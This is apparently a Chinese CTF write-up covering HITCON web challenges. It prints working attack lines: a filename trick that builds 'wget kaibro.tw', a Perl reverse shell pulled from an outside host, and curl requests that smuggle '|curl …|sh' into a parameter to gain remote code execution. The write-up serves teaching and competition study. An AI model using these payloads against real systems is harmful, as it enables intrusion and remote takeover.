我來打醬油的 好像都沒貢獻到啥QQ

來記錄一下Web簡單題的解法 和幾題賽中有碰,但沒解出來的QQ

Baby First Revenge v1

這題和隊友討論很久才搞定QQ 其實一開始我們的方向就是正確的 比賽剛開始就在想,利用>ls之類的寫檔 再用ls>z,把產生的那些檔名塞到另一個檔案 最後串成指令去sh z

但後來發現ls會有順序問題,難搞定 思路就愈走愈偏了QQ


後來我們搞老半天 成功想到可以這樣去爆所有檔案路徑

1
2
>find
* />z

然後發現/home/fl4444g/下有一個README.txt 接著就想辦法去讀它

後來終於構造出tar vcf a /,把整個root打包起來下載(1.4G左右) 打開/home/fl4444g/README.txt看,崩潰 他給你mysql帳號密碼,說flag在裡面

1
2
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

所以基本上就是要拿shell惹QQ


我後來是發現有lsof可以用 可以看其他人在幹啥XDDD 甚至也可以拿到別人的ip hash (( 就是md5('orange'.ip); 這一招真的對我們幫助很大XD

因為我發現很多人卡著shell 就用他們的hash去看目錄下有啥 意外的大家目錄下都有index.html

然後內容都是reverse shell連線command 再看一下目錄下其他檔案 就大概能猜出 他們是用wget載他們server上的index.html 然後sh i*去reverse shell連回去

想通這點,後面就很快了 就只要想辦法構造wget kaibro.tw之類的 這部分會蠻吃域名名稱的 如果域名是abcde.tw之類的會很難構造XD 隊友還因此買了一個x開頭的短域名 然後就秒構造一個payload拿到shell了

我後來認真構造一下 終於能成功執行wget kaibro.tw

payload如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
>echo
>wg\
*>.a
rm w*
>et
>ka\
*>>.a
rm e*
rm k*
>echo
>ibr\
*>>.a
rm i*
>o.t\
*>>.a
rm o*
>w
*>>.a

結尾用\可以把多行指令串起來 *可以把當前目錄下文件名展開當作指令跑

(看起來很簡單,實際上自己踹,會發現很多細節要注意)

執行完上面那坨之後 我們目錄下的.a就會長得像:

1
2
3
4
5
wg\
et ka\
ibr\
o.t\
w

接著在我的server上放`index.html`:
1
perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

所以只要sh .a 就會執行wget下載reverse shell指令到index.html惹

然後讓server listen一下 nc -vl 5566

再來sh i*就會去run index.html上的指令惹 shell就彈出來了

彈出來之後去連mysql,然後就可以抓出FLAG惹

1
2
3
4
5
6
$ mysql -u fl4444g -p
Enter password: SugZXUtgeJ52_Bvr

use fl4gdb;
select * from this_is_the_fl4g;
exit

hitcon{idea_from_phith0n,thank_you:)}



順便一提,我在這題收集了很多hash 然後在SSRFme那題也可以看別人在幹啥XD 只是都沒看到啥有用的 可能太晚收集了,沒收集到強隊的hash QQ 甚至還有人故意在127.0.0.1的目錄下塞假flag 我一開始還以為是有人讀出flag後忘記刪掉 一整個被騙,花了不少時間去確認

原本還想學他,再塞幾個假flag騙人,報復一下XD 後來想說算惹,就只塞了一個佛祖保佑圖 如果有人在SSRF這題看到,那87%就是我塞的XD


Baby Ruby Escaping

這題搞很久,最後還是沒搞出來 隊上好像也沒人對ruby熟,所以一直放置著

看別人writeup才知道 原來socat連上後,按兩次tab就會顯示檔名… 超低能,都沒發現=.= 然後就可以用ARGV<<"thanks_readline_for_completing_the_name_of_flag" 把檔名塞進argv中 之後直接gets,就會把裡面內容讀出來 (ruby會先去ARGV讀

hitcon{Bl4ckb0x.br0k3n? ? puts(flag) : try_ag4in!}

ruby is so hard QAQ


Data & mining

這題一開始看很久 後來發現封包裡面有個地方連到xmrpool 推測他應該是在挖礦 跟題目名字和題目敘述也很吻合 告訴隊友後 隊友直接搜xmr就找到flag惹

不過… 後來我才知道直接搜hitcon就能看到flag了=.= 連wireshark都不用開 頗呵 難怪兩小時就30隊解掉,感覺題目沒設計好R hitcon{BTC_is_so_expensive_$$$$$$$}


SSRFme

這題也是賽中沒解出來 第二天一直在搞這題 整個方向都想偏了 一直以為要像Discuz Pwn一樣打某個服務

看了別人的write up 發現有人用一招很猥瑣的方式拿flag 類似這樣: curl 'http://13.115.136.15/?url=a&filename=|curl+http://kaibro.tw|sh' curl 'http://13.115.136.15/?url=file:|curl+http://kaibro.tw|sh'

就是perl的GET看到file會去open本地檔案 然後跟AIS3講的ruby open一樣 可以在後面塞 | 去執行指令 => RCE

但是從source code可以看到,它會先去檢查檔案是否存在 所以必須先建立檔案

例如filename=|ls會去建立|ls這個檔案 然後url=file:|ls就會執行ls惹 可以用|sleep+10之類的來測試一下,會卡個一下,說明有成功執行

接著建立reverse shell,去跑/readflag就能拿flag惹 hitcon{Perl_<3_y0u}

真的沒想到這題能這樣解,覺得奇技淫巧